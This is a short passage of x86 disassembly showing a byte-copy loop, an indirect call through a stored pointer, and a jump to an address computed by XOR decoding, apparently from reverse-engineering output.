mov byte [ebp + ecx - 0x10c], al
inc ecx
cmp ecx, 0xe0
jne 0x411770
lea eax, [ebp - 0x10c]
push 0
push 0
push 0
push 0
push eax
call dword [ebp - 0x14]
xor ecx, ecx
mov dword [ebp - 0x14], eax
test eax, eax
setne cl
mov eax, dword [ecx*4 + 0x5cc3cc]
mov ecx, 0x381fbff0
xor ecx, dword [0x5cc3d4]
add eax, ecx
inc eax
jmp eax